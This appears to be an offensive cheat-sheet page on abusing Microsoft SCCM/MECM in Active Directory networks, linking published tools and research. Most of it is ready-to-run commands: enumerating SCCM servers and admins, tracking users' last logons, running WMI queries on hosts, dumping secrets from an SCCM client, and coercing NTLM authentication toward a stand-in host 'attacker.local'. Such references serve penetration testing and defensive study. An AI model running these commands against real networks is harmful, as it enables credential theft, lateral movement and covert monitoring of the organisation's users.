SCCM Abuse

System Center Configuration Manager / Microsoft Endpoint Configuration Manager

• https://www.thehacker.recipes/ad/movement/sccm-mecm

• https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a

• https://www.hub.trimarcsecurity.com/post/push-comes-to-shove-exploring-the-attack-surface-of-sccm-client-push-accounts

• https://www.securesystems.de/blog/active-directory-spotlight-attacking-the-microsoft-configuration-manager/

• https://http418infosec.com/offensive-sccm-summary

• https://logan-goins.com/2025-04-25-sccm/

Misconfiguration-Manager/README.md at main · subat0mik/Misconfiguration-ManagerGitHub

Enumeration

Look for CcmExec.exe processes:

Cmd > tasklist | findstr CcmExec

Search for SCCM servers in LDAP:

PV3 > Get-DomainComputer -LDAPFilter "(&(objectClass=computer)(cn=*sccm*))" | select -ExpandProperty dnsHostName
PV3 > Get-DomainComputer | ? {$_.Name -like "*sccm*"} | select -ExpandProperty dnsHostName

VNC-like Remote Control (CmRcViewer Abuse)

• https://www.netero1010-securitylab.com/red-team/abuse-sccm-remote-control-as-native-vnc

• https://github.com/netero1010/SCCMVNC

Tools

MalSCCM

• https://labs.nettitude.com/blog/introducing-malsccm/

• https://github.com/nettitude/MalSCCM

sccmwtf

• https://blog.xpnsec.com/unobfuscating-network-access-accounts/

• https://github.com/xpn/sccmwtf

SharpSCCM

• https://github.com/Mayyhem/SharpSCCM

• https://www.guidepointsecurity.com/blog/sccm-exploitation-evading-defenses-and-moving-laterally-with-sccm-application-deployment/

Get SMS (Systems Management Server) and SC (Site Code):

Cmd > SharpSCCM.exe local site-info

List SCCM admins:

Cmd > SharpSCCM.exe get admins -sms <SMS> -sc <SC>

List user latest logons (automated in sccmhound):

Cmd > SharpSCCM.exe get class-instances -sms <SMS> -sc <SC> SMS_R_System -p Name -p DistinguishedName -p IPAddresses -p LastLogonUserDomain -p LastLogonUserName -p LastLogonTimestamp -w "LastLogonUserName LIKE '%snovvcrash%'"
Cmd > SharpSCCM.exe get devices -p Name -p DistinguishedName -p IPAddresses -p LastLogonUserDomain -p LastLogonUserName -p LastLogonTimestamp -u [email protected]

Get resource (server) ID:

Cmd > SharpSCCM.exe get resource-id -sms <SMS> -sc <SC> -d <RESOURCE>

Execute WMI command on a resource:

Cmd > SharpSCCM.exe invoke admin-service -sms <SMS> -sc <SC> -q "EventLog('Security',4h) | where EventID == 4624 | order by DateTime desc" -r <ID>

Grab secrets from SCCM client (locally):

Cmd > SharpSCCM.exe local secrets -m disk

Coerce authentication from SCCM server (remotely):

Cmd > SharpSCCM.exe invoke client-push -t attacker.local

sccmhunter

• https://github.com/garrettfoster13/sccmhunter/wiki

Install:

$ pipx install -f "git+https://github.com/garrettfoster13/sccmhunter.git"

List user latest logons:

$ sccmhunter.py admin -u sccm_admin -p 'Passw0rd!' -ip SCCM.megacorp.local
$ get_lastlogon administrator